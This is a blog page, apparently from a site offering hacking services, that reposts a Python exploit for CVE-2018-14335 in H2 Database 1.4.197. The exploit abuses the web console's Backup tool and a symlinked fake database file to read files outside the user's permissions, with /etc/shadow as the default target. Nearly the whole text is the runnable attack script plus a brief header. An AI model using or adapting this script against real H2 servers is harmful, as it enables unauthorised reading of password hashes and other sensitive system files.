Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371584

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: H2 Database 1.4.197 - Information Disclosure
# Date: 2018-07-16
# Exploit Author: owodelta
# Vendor Homepage: www.h2database.com
# Software Link: http://www.h2database.com/html/download.html
# Version: all versions
# Tested on: Linux
# CVE : CVE-2018-14335

# Description: Insecure handling of permissions in the backup function allows
# attackers to read sensitive files (outside of their permissions) via a
# symlink to a fake database file.

# PS, thanks to HTB and our team FallenAngels

#!/usr/bin/python

import requests
import argparse
import os
import random

def cleanup(wdir):
	cmd = "rm {}symlink.trace.db".format(wdir)
	os.system(cmd)

def create_symlink(file, wdir):
	cmd = "ln -s {0} {1}symlink.trace.db".format(file,wdir)
	os.system(cmd)


def trigger_symlink(host, wdir):
	outputName = str(random.randint(1000,10000))+".zip"
	#get cookie
	url = 'http://{}'.format(host)
	r = requests.get(url)
	path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('login.jsp','tools.do')
	url = '{}/{}'.format(url,path)
	payload = {
			"tool":"Backup",
			"args":"-file,"+wdir+outputName+",-dir,"+wdir}
	#print url
	requests.post(url,data=payload).text
	print "File is zipped in: "+wdir+outputName

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	required = parser.add_argument_group('required arguments')
	required.add_argument("-H",
			"--host",
			metavar='127.0.0.1:8082',
			help="Target host",
            required=True)
	required.add_argument("-D",
			"--dir",
			metavar="/tmp/",
			default="/tmp/",
			help="Writable directory")
	required.add_argument("-F",
			"--file",
			metavar="/etc/shadow",
			default="/etc/shadow",
			help="Desired file to read",)
	args = parser.parse_args()

create_symlink(args.file,args.dir)
trigger_symlink(args.host,args.dir)
cleanup(args.dir)